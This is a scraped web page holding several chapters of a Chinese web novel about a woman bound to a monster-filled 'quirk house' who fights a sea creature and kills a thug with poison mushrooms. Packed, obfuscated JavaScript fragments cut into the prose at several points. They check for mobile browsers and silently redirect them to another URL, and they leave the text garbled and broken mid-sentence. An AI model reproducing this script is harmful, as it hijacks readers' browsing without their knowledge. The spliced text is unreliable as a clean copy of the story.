l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996477|193904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雷利亚摇头，惋惜道：“孩子，我和弗基都以为这次不会这么倒霉。” 鼹鼠催促：“都别犹豫了，船快散了。” 船只果然高高往左侧隆起，所有人几乎扒住船顶特制的钩子，才没被甩出去。海上冷，海水一波波冲刷，再过些时候总有一些人要被冲走。 雷利亚拿小拐杖牢牢挂在钩子上，劝：“一时半会散不了，都是钢铁铸造的，但是不想沉船就快点选出另一个男的。” 鼹鼠爆吼一声，消防斧往章玦压过来。 章玦的钢爪子早露出来，在船板上凿出一个洞，将自己挂在洞口，奈何聂小倩的身体轻，水一来，她就几乎抓不住，这时候还要躲斧头，只得荡来荡去，找准时机摸出家主手枪。 红艳艳的金刚爪彻底暴露出来，但该死的，章玦发现一个难题——长指甲没办法扣动扳机！ 鼹鼠朝众人喊：“她是变异者。” 章玦先吓唬吓唬他，装模作样端枪，枪里只有两枚子弹——时间编辑子弹和清洗子弹。无论哪一颗都只能对癖人起作用，必要时候，她想给自己来一颗。 “鼹鼠，你对女孩子太粗鲁了。”雷利亚不满地收回拐杖，稳稳站在船身。 章玦猛然抬头，刚刚还立在半米之外的雷利亚手臂瞬间暴涨十倍，巨大的铁拳撞过来，打中她的胸腔。章玦只觉得魂都被打散了，在空中划出优雅弧线，咚地掉入海里。 “这才是淑女之道。”雷利亚优雅一笑，冷眼看着章玦在巨浪里往下沉。 章玦慌乱地扑水，她是个旱鸭子。 “别划了，淹不死。”小倩桀桀笑出声，嘲讽值拉满。 章玦在大浪翻了个滚，想起来，她是一个癖人，她早就死了，不需要在水里呼吸，只要放松就能像个垃圾袋一样飘起来。 自她入水，海里的颠簸渐渐减弱，直到另一声惨叫响起，没入水里，海终于沉寂下来。 船头的远光灯成为海面上唯一的光源，杀人了两人的一船人淡定地坐回船舱，继续航程。 章玦估算着游到船尾，偷偷扒住船桨，被带回去的概率有多大。身为半个癖人，此刻她看海里压过来的浪头竟还是怕的，何况雷利亚还说水底有海妖。 章玦越想越觉得脚底很重，但又怀疑是小倩的裙子吸了水，遂问了一声：“癖人的方向感如何？能在一片漆黑的大海里找到路吗?” “叽咕叽咕……” “叽咕叽咕叽咕……” “你倒是说人话啊。”章玦深感与病友小倩交流的无力。 “叽咕叽咕叽咕叽咕……” 她听出来了，这不是小倩的声音，而是耳侧两旁意义不明的童音。 章玦毫不迟疑拔枪高举过水面，左右警惕。 脚底猛地灌进一股大力，她只来得及握紧枪，便整个人被拖进海中，虽然不会淹死，但被咸臭的海水灌了一肚子，肌肉承受着水压的重力，竟然拿脚底下的生物没办法。 5. 道具X2 直到沉到某个巨大的平台，脚上的东西才缩回去，刚缩回去，章玦便往上飘，察觉到她要逃，暗处伺机的东西涌出来，扒附上她的四肢。 章玦只觉得冰冻刺骨，比之聂小倩本身体温更低。 混乱中，腕表自动开启强光，顷刻，光束下游遁几条光滑的鱼。 章玦无意瞥见其中一条长着稀疏柔软的金发，皮肤上没有鳞，婴儿大小似人非人，再细想已不敢想是什么生物。 光驱散了部分怪物，剩下的一些像蚂蟥仍吸附住她四肢，愣是踹不下去。 章玦也是恼恨，心中喊了好几声“小倩”，它应了一声：“我的爪子……” 这是心疼它的爪子刚刚在挣扎中崩了一块。 章玦将枪收在束胸的内衣里，专心致志用金刚爪子挠那些小怪物。 挠着挠着，她勾到一头怪物脊椎尾部一根管子，心道：这不是水猴子吧？ 腕表强光循着这根管子向上走，越照章玦心头越紧。这根管子越发粗壮，直到汇总在一个银白反光的巨大贝壳边缘，然后被收束进贝壳内。 贝壳之后是什么，已不是光所能照见。起初适应强光的水猴子再次涌上来，章玦两条钢爪子挠不完，身体被啃了好几口。 “还是先放弃抵抗，捡条命回去。”小倩忍了许久，发现自己的身体要成为鱼饵，终于暴喊出声。 癖人濒死状态下能迅速被召回怪癖之家，但章玦拿定了主意，要回也要撑到最后才回。 小倩幽幽叹口气，开始抢夺身体的操控权，眼看着金刚指甲就往自己的太阳穴搠进去。 章玦及时将指甲拉回来，腕表一抖，转眼看见贝壳外围系着无数白丝，一颗颗硕大“珍珠”缀在上面。 有一颗最新鲜的还没钙化，两颗暴凸的眼珠子钻出红白交接的丝状物。眼珠子的主人半个小时前还在瞪她，他坐在鼹鼠的左边。 章玦一口气没上来，呛了一口水，水猴子们亢奋地绕着她转，冷不丁其中一头大胆凑过来在她胳膊上又啜一口。 章玦与聂小倩同时灵魂颤抖，太疼了。 “老板，这些妖孽全无人性，抓回去也不能采阴补阳，何况工伤也是伤。”精神聂小倩凄楚哭出来。 章玦疼得哑口无言，回就回，她摸出手枪，朝贝壳方向混乱发射子弹，倘若对方是癖人，一颗清洗子弹至少能起到震慑作用。 子弹在水中毫无迟滞，径自飞出，刹那，铛地射在硬物上。 章玦泄气看清一条肥硕的大尾巴从贝壳后展开，裹挟着巨石将子弹拦下。 “我在莫沙城没见过你。”贝壳后边递出一阵笑，会说人话，但不见得是人。 章玦一时失神，金刚指甲迅疾没入太阳穴，她痛呼一下，意识断联。 再次苏醒，章玦的脑壳像核桃被门夹碎过，又被强力胶一片片粘回来，强迫她重新开机。 章玦坐起身，长长吐了一口气，活过来了。 一双桃花眼淬着怨毒盯着她，“你也不是坏人，我不杀你，你放我走。” 病友版聂小倩清醒了片刻，又疯狂在纸箱上打滚，如何躺都是疼。 章玦识相地摸了摸腰间，枪还在。 “你为什么一定要出去？”章玦察觉它暴涨的青筋，双眼发白，默默往门口退。 “找一份新工作。”它还开起双音道，阴柔与严肃一秒切换，“这两天我想了很多，工作只是工作，没必要赌上一切。” 章玦提眉，该说这是身份认知改造后的结果吗？原来工作牛马残留的执念在变淡，新人格在癖人的意识中会逐渐深化。 章玦那句“别了吧”在腹中滚了滚，不敢说出来，只要她摇头，毫无疑问，金刚爪子劈头盖脸就会挠过来。 “找新工作也要有个交接的过程，对吧？”章玦替它拎清事态，说：“我们上一份工作都没结束，甚至可以说是落荒而逃。” 小倩头一歪，“哪件工作？” 章玦比划：“捕三叉海蛇啊。” 小倩头摆正：“你说那个啊，我们办不了。” 章玦一拍大腿：“怎么就办不了。海里那个东西分明就是癖人，水属性的，只要把它挖过来，以后出海捕鱼这种活都落不到你头上。” 小倩还是那句：“办不了，对方是A级以上的。” A级以上癖人战斗力堪比一支陆军作战队。不说还好，一说章玦心里勾起馋念。 她摸准时机往外跑，边跑边喊：“我们可以存档重来，怕什么？是癖人就有阿贝贝，就有弱点。” 小倩一段长绫飘过来，红爪子钉在门框上，爆吼：“我听出来了，你又想忽悠我下海。” “不是下海，是去捞队友。”章玦躲开爪子，几步跑上楼梯，占据对抗路优势。 房门口，小倩面态又柔和下来，连巨峰葡萄眼袋都消肿大半，越长越像章玦脑海中那个聂小倩的相貌。 “你又想pua我。”小倩哀怨哭起来，“今天无论你放不放我走，我都走定了。” 说完阴风阵阵，章玦窥见纱质的裙摆扬风乱舞，然后聂小倩就这么水灵灵地窜出房门，飘往门口。 章玦跺了跺脚，套上飘飘鞋就追出去。 追出院内，半人高的草丛里白色影子特别扎眼，趴在门框上不断掰几根脆弱的钢条。 章玦心疼铁门，更心惊聂小倩能徒手把门拆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996478|193904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，她过去一把钳住聂小倩的腰往后拖。 “好好说话，扒坏了扣你工资。”她大喊。 “你扣吧，扣光为止。”小倩肘击章玦的后腰，这下子真猛，章玦立刻松了手，退出一米外，举起枪。 “你别逼我行不行？”章玦也很难做，她本意是想和它拉近距离，搞好家庭关系，奈何病友不领情。 对方已经上嘴巴咬门把锁，章玦的腕表从刚才就一直震动，显示—— 【有病友要逃出家，请立刻制止！】 【检测到门锁有被破坏的风险，请立刻前往门边制止癖人破坏行为。】 【“没病下来走两步”这个家很危险，也很不开心，作为家主你难道不作为的吗？】 章玦心里咆哮：“我能怎么办呢？” 这句喊完，腕表内容升级为—— 【病人逃跑行为已触发隐藏道具“家家有本难念的经”。家主念经能够安抚病友，还能安抚怪癖之家，快用起来。】 小倩还在发狠咬门框，章玦也很崩溃，召唤出“家家有本难念的经”，是一根掉漆的唢呐。 章玦对着唢呐吹两声，哔哔哔……简直魔音入耳，难听到死人都能吹活的地步。 这把唢呐不简单，不简单地难听，无论怎么吹都是杂音。 章玦憋住气，一口气吹了三分钟。三分钟后，她看到聂小倩捂住胸口在地上打了个滚，红指甲颤颤巍巍指着她骂：“你比千年夜叉还狠。” 骂爽了倩影一溜，进了屋，还顺带听到嘭地摔门声。 章玦脸色发白，吹唢呐会流失生命力，原本饥肠辘辘，现在腿脚更使不上劲。似乎除了家主手枪，其余道具都会损耗她的精神力。 兴许在阁楼就是一个补给和恢复点，回去睡一觉能提升体力和精神力。她掉头要走，门后哐当一下，将她仅有的精神都吓散了。 回头看，地上掉了一个崩碎的电子锁，很像门板材质。 它真把锁拆下来了！章玦麻了。 抬头看，门锁完好无损！章玦麻了又麻，走过去拾起锁头，锁上有指纹按钮，下边连着一段不规则钢条。 这破烂能干什么？ 【这可不是破烂。 你成功制止病人破门离开的行为，考虑到你勤勤恳恳为这个家付出，现在奖励你一个新道具“我看谁敢动她”。 “我看谁敢动她”是门锁衍生物，当你陷入濒死状态时，引爆它，就能和敌人同归于尽。 你能刷档重来，敌人可不行，就算它过分强大，也能被削弱力量。】 章玦：“……” 同归于尽？ 这个家就是这么回报她的？ 6. 食物X2 章玦爬着回阁楼，搜光楼里所有抽屉，搜出了前身随手塞的半包饼干，她就着吃下去后，五脏六腑仍旧空的有回响。 睡吧，睡醒再做谋算。 这一觉睡得不踏实，再起来，天未亮。 那个巨大的天体悬挂在头顶，章玦看着漆黑，越看越觉得黑里像有了轮廓，她的脑仁儿不合时宜地疼起来。 呼，章玦收回视线，环顾阁楼，到此刻她才认命，她哪里也去不了，这儿很可能就是她永久的坟墓。 古代帝王还晓得给自己整个王陵，陪葬品数不尽的金银和陶俑，她一个现代人，死的规格不说媲美帝王，整得气派点不过分吧。 可她看来看去，越看越不满意，五乘五的房间内只有一张桌子，一张床，一个衣柜，一个堆满日常杂物的木柜，以及一个转身都困难的洗手间，也就比一副棺材多了一些家具而已。 她点开腕表，上面确实写了可以扩张阁楼，章玦在每面墙上敲敲打打，都是实体的，扩建难道是打穿墙吗？ 她想起鼹鼠那把精锐的斧头，还有雷利亚那根拐杖，拿来砸墙不知好不好使。 一边想着，一边从柜子底下摸出医药箱，以前的阁楼主人积攒了一批药物，药名分类挺齐全。 章玦提着药箱走下楼，时间上已经算是早上，病友聂小倩的阳气弱，白天的攻击力不如晚上。她现在腰缠唢呐，兜藏电子雷，心中安稳许多，也没那么惧与病人交流。 楼下一片静谧，房门保持紧闭，章玦推开一条缝，一只运动鞋砸过来。 “走开！” 章玦俯身捡起运动鞋，检查一周没开胶，这双鞋昨天泡了水，今天却是干爽，看来进入怪癖之家的物品都自动开启清洁模式。 “你昨晚被咬了好几口，回来还没治疗。”章玦态度很好，她做不来只把有灵智的癖人当做工具人的事。 “不需你假惺惺关心。”聂小倩翻身朝内，仍旧躺在纸箱上面。 章玦顿时觉得几块纸箱拼接的床过于简陋，原著中小倩在千年夜叉手下干活，待遇也是队长级别，有自己的闺房。在这儿几块纸板，光秃秃的房间，她莫名其妙觉得亏欠了。 章玦劝：“你也说了工伤也是伤，工伤一律都该由我出药，对吧？” 小倩想了想，翻身坐起来，两条胳膊几个窟窿，虽然不流血，看着都吓人。 “你说的有道理，也是为了我。” 它目前的文明程度只能深刻感受到这一步了。章玦觉得了不起，比前两天的癫狂状态，如今精神病情基本稳定。 章玦提着药箱大胆进去，蹲到它身侧，观察到它两条胳膊不再是反关节，皮肤不再皱巴巴，又觉得进步更大。 药箱中分类为“风”的格子里有三种药，药名分别是“痛风”、“伤风”、“风癔”。章玦盲猜一个“伤风”，取出来，瓶子里就是普通的药片，只是颜色不太对劲，紫的紫，蓝的蓝，怪瘆人。 “先外用吧。”章玦取出两颗，在掌心碾碎了，去揪小倩的胳膊，它没躲，章玦便将药粉撒在其中一处伤口上。 药物接触伤口散发出一股馥郁的植物香，迅速被吸收。章玦盯了一会儿发现血肉正在缓慢的结痂，心中石头落地，又依葫芦画瓢，挨个将伤口处理了一遍。 办完事，小倩倒回纸板上，七分人模样，落落可怜。 章玦自觉退出去，心想：它这副样子，今天是没办法出去找雷利亚算账了。但困在家里又能做什么呢？ 她返身回阁楼，第一次认认真真去翻柜子上的杂物，既然有前主人，不可能每一任都坐着等死。 翻找来翻找去，还真让她翻出了几样东西——钓鱼竿、小型锄头、断刃的开山/刀，马歇尔敦铲子。 章玦点开腕表中关于“没病下来走两步”的资料，如她猜测，怪癖之家是可以移动的，否则没办法解释一个没办法走出家门的人，为什么要存放这些应用于不同地形的工具。 墙壁上投影出可移动的范围，以这栋房子为中心，半径二十公里的地方都能被覆盖到。 章玦在电子地图上拖拉，二十公里可以去到码头，可那里人多，章玦担心暴露，只能往更残破无人的郊区寻找，看来看去地图上一个指甲盖大的地方倒是可以试试。 她尝试在腕表上点击家的图标，移动到地图上这处坐标，松开手时，身体的皮肤瞬间被某种电磁场包裹、收紧，短短三秒后，又重新松弛下来。 章玦奔向窗户，窗外仍旧漆黑，等不了了，她抓起东西下楼，直奔门口。 走着走着她停下来，用手摸了摸草尖，不是错觉，院子里的草忽然窜了几截，到她胸口了。 难道房子移动到某些地区，院内植物就会加速生长？章玦默默记下这个发现。 走到门口，她轻轻吐气，摁亮腕表的灯，随之门拉开一道缝，灯照向外面黑黢黢的平面。 很幸运啊，到的地方很安全。章玦如释重负，她重新将门阖上，靠着门呆坐，只待天光亮起。 等的时候心思就莫名其妙飘到昨天的遭遇上。首先雷利亚、弗基和鼹鼠这三个人是必须吃她一顿打的，她不怕死了重开，只要能不断接近他们就一定有机会报复回去。 没错，她心眼儿小，尤其看不惯老登拐卖少女上船，然后转手将之卖掉这种事。 其次水里的海妖极大概率是癖人，聂小倩说它属于A级以上，要收容它的难度很大，但章玦不介意尝试无数次，万一成功了呢？那这个家的战斗力能提升一个大台阶。 最后是招租客的事，怪癖之家的阁楼相当于安全屋，很多人费劲心思都想在里面搞一套两房一厅。这几天她也陆陆续续在联邦组建的论坛上查找求租阁楼房间的帖子。 她自然不会在上面跟帖暴露自己，但通过这个她知道阁楼可以扩建，可以接收租客，还能收取租金，租金可以是粮食、种子、武器和阿贝贝子弹等等。 而且家主有一个天然的优势是，只要人在阁楼里，租客无法对其形成攻击与伤害，这个最大程度保证了家主的人身安全。 不过出了阁楼，租客能自由击杀癖人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996479|193904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和家主，掠夺家主所有财产，包括腕表上的道具。章玦想招到租客，又怕引狼入室，左右为难，再回神，天边已露暖光。 门口敞开，章玦观察着两步之外的湖坡，坡上泥土湿润，再看湖面，平静油绿，湖的四周草木莽盛。这个地方连钓鱼佬都不来，其他人更不会来。 而且这里的植物长势比其他地方要高大数倍，说明湖水里富含能让植物疯长的营养。 章玦回屋里提了一个小桶出来，自制抛绳，将桶抛进水里，挑了水进门，先找废瓶子存着，假如弄到种子，这些水就能派上用场。 做完这些，她便安安心心地将钓鱼竿抛出去，等鱼上门。最坏的打算是钓到小怪物，最好的打算是钓到几尾小鱼，打打牙祭。 垂钓一个小时，终于有鱼上钩，钓上来一尾体型半米大的鲫鱼，模样怪了点，章玦用刀子取开鱼鳞，鱼肉闻着是新鲜的，也没有感染变异的情况，她便心满意得地收工具。 她取了锄头和□□，将院内杂草劈除，空出一块土地来烤鱼。鱼腥味特别浓郁，章玦没得挑，能入口就行。 但事实是，这玩意连入口都能吐回来。章玦勉强咽了几口后，再吃不下去，清了清嘴巴，提了剩下的肉入屋，给聂小倩送到门口，朝它背影喊：“鱼我烤熟了，你趁热吃。” 走出院子，听到铁桶被撞翻，屋内吧唧吧唧啊嚼碎鱼骨的声响。 章玦收拾了工具，离天黑还有一段时间，晚上待在水边并非良策，怪癖之家一日之内只能在两点之间移动，换言之，她只能回归到之前的地点。 回到原来位置，章玦也没闲着，既然院子清出来了，她就寻思种点东西，她能薅到的东西很有限，也就门口的蘑菇拿杆子能勾过来一些。 蘑菇有大有小，大的足有伞宽，斑斑点点，看着不太能下嘴，但胜在多，没人跟章玦抢。 章玦薅了整块青苔地皮连着蘑菇，东一块西一块铺开，泼了些湖水，便回阁楼。 回了阁楼，洗去鱼腥味后，章玦一门心思开始刷腕表上的本地论坛。 由于卫星通讯技术受限，每天上网的时间仅有一小时，而且网站限流，经常上不去，能看的东西也只有联邦建立的排版极丑的论坛和一些排行榜。 章玦刷着排行榜，五花八门。第一个查看的是“怪癖之家”的排名，所有在网站登记的怪癖之家大部分都有官方背书，比如排名第十一的“拿我祭天”就归属献祭社管。 “拿我祭天”有A级病友十名，S级病友一名，占地面积扩建到七百多平方米。这是章玦目前能刷到的规格最牛逼的大别野。因为排名前十的名字都被打了马赛克，普通菜鸡没权限查看。 章玦往十一以后拉，前三十之前，归属东龙国管理的有九座，她特意记下名字，倘若有幸遇到，至少希望老乡不骗老乡。 页面突然弹出一个普通等级的公告——从“男人衣柜”家里释放出一位A级病友和一位B级病友，两位病友发展出畸形的关系，请看到成双成对的癖人时，大家要留心，千万不要收留它们！ 7. 报个仇 怪癖之家的癖人是流动的，有些是被家主释放出来，有些杀害家主解开门禁逃出来，还有的是在掠夺途中逃跑。 这世道病了才是常态，所以公告下边一溜评论都是——“买B送A，不要才是傻子。” 章玦要不起，又进了“异能者排行榜”。 异能者是被癖人感染之后又保持理智的人类，他们不仅拥有原癖人衍生出来的体质能力，还能拥有阿贝贝分裂出来的一部分物质当做武器 异能按照五觉分类。 触觉系一般都是武夫，体格很强。视觉系的一般是侦察者，负责侦察癖人行踪。嗅觉系的一般是精神调剂师，俗称异能医生。听觉系的一般和信息能力有关。味觉系的精神感染最严重，有异食癖。 唯独“怪癖之家”的异能者在五觉之外，被称为“文明向导”，即引导癖人走向更高文明的引导者。 章玦自我定义她属于策略型玩家。 雷利亚和鼹鼠都是触觉系，要打他们，肯定不能硬碰硬，得找机会攻其不备。章玦认为逐个击破胜算更大。 章玦退出论坛，合衣躺上床强迫自己养好精神。 这一夜特别漫长，章玦醒来后身体爽利许多，腹中饥饿感也消除五成。摸鱼一天，今天她计划出门。 到楼下，小倩已经醒了，靠着墙壁从一数到六十，又再从一数到六十…… 章玦问她：“又失眠？” 昨天进食之后，今天它的气色算不错，面容不像以前一样铁青，桃花眼是其改变的最大标志，流转着似有若无的人性。它不回答，又从一数到六十…… “我想出去走走，借一下身体？”章玦打商量。 小倩抬眸，没有什么表情也没有抗拒，问：“去哪里？” “去杀鼹鼠。”章玦言简意赅。 小倩眼中倏然有点光，问：“那些害我没办法完成工作的人类？”她又杠上了。 “对，我们要去捕三叉海蛇就必须解决他们。”章玦正色道。 “不抓海妖了？”小倩歪头问，它冷静下来时其实很好说话。 “海妖是要捕，但是我们没枪没粮，拿什么打A级癖人？”章玦一步步规划，先解决雷利亚、鼹鼠，再抓海蛇换弹药，最后去招安海妖。 小倩心思大动，明显是被说服了，但想到什么又问：“如果还是死呢？” 章玦迟疑了一下，在说谎和坦白之间选择坦白：“在我的计划里，还是得死，死了才能拖一个当垫背。” 蕾莉亚和鼹鼠都很难打，不死是不可能的，不过现在手握“我看谁敢动她”，章玦又觉得有七八成把握。 小倩没听懂这句话，称述事实：“又要受工伤，已经快没药了。” 章玦懂它的恐惧，癖人是战斗工具，但也不是不死之身，没有药伤势过大照样会死。 这种牺牲癖人的计划不是长久之计，只能收割更多防御道具，或者更多好药才能保证它们不死。 “我尽量尽量尽量不死在外面！”章玦郑重向它承诺。 她先一步走入院内，满园的蘑菇经过一夜生长，大的已有半人高，小的也有碗口大，越小的颜色越鲜艳，有些还会轻轻吐出粘稠的液体。 章玦戴上手套，采摘蘑菇，哪种恶心黏腻，她专摘哪种，收纳进一个塑料袋里，观察了一下，似乎有腐蚀的现象，便又多套了几层袋子。 干完事，她回屋去找小倩。 小倩攒紧的手指在她静静盯视下，最后还是松开了，它说了一句：“算是报恩吧。” 章玦心中了然，原著它的人设就是知恩图报的善良女鬼，而李远湘本质上也是个善良的女生，它们只是被别人定下的秩序扭曲。 章玦手指勾住从它身上延伸出来的红线，一线牵完，嘭地倒地。 下次，下次一定铺张棉被在地板上！章玦失去意识之前，心酸地发誓。 以小倩的身体再度爬起来，体内没有明显的排斥现象，这是好征兆，章玦提起事先准备的毒蘑菇还有枪，轻悠悠飘出家。 路还是一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996480|193904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的路，这次她飘得很快，拐到大道上时，远远看见疾驰而去的熟眼吉普，那个人每天差不多时间都会经过这里，可惜就是心眼小了点，总是不肯载她。 一路想一路飘到码头，取下飘飘鞋，今日章玦穿了一件特别大号的卫衣，戴上兜帽，挨个地方在码头找鼹鼠。 远远的，她窥见雷利亚和儿子又坐在码头上，这次没有拉拢其他人上船，而是嘀嘀咕咕二人交流着什么。这对母子既然经常出现在码头，章玦倒是不担心寻不到他们。 找了一圈，章玦以为鼹鼠早就出海或者根本没来，他就大大咧咧地举着酒瓶子，从斜坡上下来，追他身后的是一个女人跟他讨要酒钱，被他拳风撩出几米远。 像鼹鼠这种低智人，大概是被感染过，性格十分躁动，章玦蹲在角落看他在码头溜达了两圈，短短二十分钟内就得罪了几批人，又打了两个拉鱼的商贩。 直到船夫喊开船，章玦以为他要上去，结果鼹鼠跟雷利亚高声交流：“老太婆今天不出海，不如跟我去献祭社那边看热闹，他们逮到了几个人，准备今晚就推去刑台，在此之前教授要演讲，还会现场赐福。” 雷利亚回他：“不去了，我时日无多，才不将时间浪费在蠢人身上。” “那好吧，蠢老太婆。”鼹鼠呵呵大笑，拧身准备走。 鼹鼠走远了，章玦才起身跟上去。 码头有几条路直通市中心，鼹鼠选了小路，周围都是低矮裙楼，光线不错，还能眺望到浮云与晚霞。 鼹鼠这货自顾自哼着歌，甩着车钥匙，打算去开车。 对付蠢人，有时候不能太小心翼翼。章玦跟了一路，愣是没被他发现。不能让再让他开车走，章玦当机立断，亮出钢甲直抓他后心。 飘飘鞋的助力下，她出手极快，鼹鼠反应也快，急向左侧闪躲，还是被章玦挖下了半块肉。 鼹鼠龇牙咧嘴，没废口舌，甩出消防斧劈向章玦的脑门。他长得高大，斧刃落势很快，章玦本能拿钢爪去挡，钢爪顷刻裂了三个。 8. 阿贝贝子弹X1 小倩在体内呜呼：“我的爪子。” 顿时，章玦迸发出一股巨大的怨力，爪锋奋力朝鼹鼠心窝挠。鼹鼠刚开始躲得快，渐渐发现敌人速度比他更快，只是攻击力道不如消防斧，所以没伤及要害。 鼹鼠绕到车辆后边，章玦被一股大力扯过去，她在体内喊：“冷静点，我有办法，按照计划来。” 小倩哼了一道：“按你计划，我们早死了。” 章玦：“出来时候我们说好的，我有办法。” 鼹鼠在车后投掷出一团物体，章玦没有来得及拉回小倩的行动，脚刹不住，踩住了炸出来的东西，这摊东西像油，章玦心道不好。 尖锐哨声破空而起，油瞬间起火，章玦跑出油圈，身上沾了火，癖人不怕水却怕火。小倩哀怨叫道：“我的脚……” 章玦以为它脚烧坏了，跑出火圈才发现是飘飘鞋烧坏了，耗损得不成样。原来道具能挡下部分伤害。 后心灌风，斧头砍向章玦左肩，顿时皮开肉绽。右肩膀又立刻被鼹鼠牢牢钳紧，五指几乎捏碎肩胛骨，忽然他两眼瞪圆，吼了一句：“你不是异能者，你甚至不是人类。” “病人也是人。”章玦惨兮兮笑。 迎头就是一顿铁拳，鼹鼠的拳头砰砰砸在章玦脸上，下手之狠直接打断了眉骨和鼻梁，他发泄情绪，大有把章玦打死的劲头。 “老子最恨女人不像女人，男人不像男人，恶心老子。”鼹鼠边打边爆吼。 唯一揍不散的是章玦嘴角那抹笑，他更恶心了。 “数完了吗？”章玦在心中问小倩，假如要死，章玦让它从一数到六十，重复数五次。 小倩愤愤回：“快了。” “那就是快了。”章玦挨打了五分钟，忽然拔枪，这次她学乖了，扳机上绑了一根铁丝，铁丝往下拉就能发射子弹。 鼹鼠以为她要反击，愣了一下，骤然又瞪大眼睛，亢奋又惊奇，他觉得近距离观看一个人举枪自尽是一件很有趣的事。 章玦将枪抵在下颚处，毫不迟疑扣下扳机铁丝。 子弹飞射入体内，没有血溅当场，相反场景迅速扭曲。鼹鼠的眉头还攒着一抹厉色与恐惧。 小倩的身体无法动弹，鼹鼠也动不了，不过章玦的意识不受“时间编辑子弹”规则的影响，腕表的功能也能正常使用。 腕表面有一指宽，进入幻境的第一时间，章玦已将手指放置在上面，并且通过转换重心让身体往后坠落。 从坠落到静止会有一秒的缓冲，于是章玦往后仰带动手指划过腕表面，实现编辑时间的效果。 场景切换到五分钟之前，此时的鼹鼠正逮住章玦打，然后发表经典语录——“老子最恨女人不像女人，男人不像男人，恶心老子。” 不过这次刚开口说“老”字，他便被塞进满满一嘴巴的黏腻东西。 钢铁指甲直接将搅碎的蘑菇全压进他的喉咙眼，然后章玦迅速紧压他的下巴，保证他咽进去一些。 鼹鼠反应过来，吐出后发现是蘑菇，他恼怒至极，被这种低等把戏糊弄到，简直是奇耻大辱。 他揍章玦揍得更起劲，越揍越觉得手下这张鬼脸诡异瘆人，笑容越咧越大。 章玦承受着拳头的重击，机会有无数次，可她渴望一次成功。二十秒后，时间回归到五分钟后，此刻章玦因为濒死，陷入意识迷离的状态。 她看向鼹鼠的瞳孔，已经微微扩散，说明毒性跳跃到五分钟之后，开始发作了，他过于亢奋，神经中毒比常人更快，唇色深紫。 差不多了！要弄死鼹鼠这种庞然大物，需要毒蘑菇来削弱他的体能，保证最后一击就能致他死地。 章玦调取新道具“我看谁敢动她”，迎上鼹鼠失控的消防斧，额头正中。 意识抽离的一瞬，她听到小倩的笑声，畅快淋漓，她还听见滴滴滴急促的警报声。 爆炸轰地炸碎了在场两人。 家中地板上，两道极重的呻吟赫然起伏。章玦是脑壳撕裂，聂小倩是身体撕裂，二人各有各的痛法。 章玦看着小倩通身的伤，尤其看到她脑门上黏连的斧头，呼吸一下子被什么攒住。 不能耽搁！她跑上楼将药箱取来，所有药都给它的伤口上一遍，越擦越觉得心中窝囊。 永远无法踏出家门，这不是坐牢，这是一种变相的精神折磨。尤其还要看着队友替自己受重伤。 最后轮到额头的斧头。握住斧柄时，她的手抑制不住颤抖，她怕了。 以后招的租客里必须有医生，章玦发誓！ “你忍一忍啊。”章玦稳住情绪，眼睛一闭，猛然提手，斧头被她提了出来。 奇怪……质感太轻了。她睁开眼，消防斧已经幻化成虚影，与此同时，腕表弹出消息—— 【你成功击杀鼹鼠，继承他的遗产“有胸肌没素质斧头”，转换成“有胸肌没素质阿贝贝子弹”。 “有胸肌没素质”子弹：属于“没素质子弹”系列之一。被该子弹打中的人将强化本身没素质行为的效果。 比如一个爱吐痰的人被子弹击中后，将吐出具有穿透性的腐蚀性浓痰。 当然，不是每个人都有没素质的行为，所以效果因人而异，而且异能者没素质起来比普通人强太多。】 这……章玦看完介绍，竟一言难尽。 她收起子弹，嘱咐小倩好好休息，保证近两日都不会再用它的身体去战斗。 “就当报恩吧。”小倩还是这句话，只是这次又多了一层哀怨，“再说见过外面的世界，谁还愿意呆在这个破家里。” 章玦听出弦外之音，想了想觉得它说的也对，倘若家对它是“公司”的定位，试问一家发不起高工资高福利的公司，哪位病友愿意同甘共苦？ 提高生活质量无论对她、对租客还是病友都是一项长期工程，不能懈怠。 这么想着，她回了阁楼着重研究起论坛的租房帖子，只要是本地的，东龙国人发布的，她都点进去看看。 “要求一卧室一独立卫？”章玦看到租客的要求，咬了咬舌头，再看后面跟着的租金报酬条目——每月两枚阿贝贝子弹，三件移动道具、三件力量道具、两袋种子或五十斤干粮、两瓶常用药物，入住立刻交付两个月押金。 这还是基本的市场单子，还有要求租“两百平独门独户”这种对章玦目前而言是天方夜谭的帖子 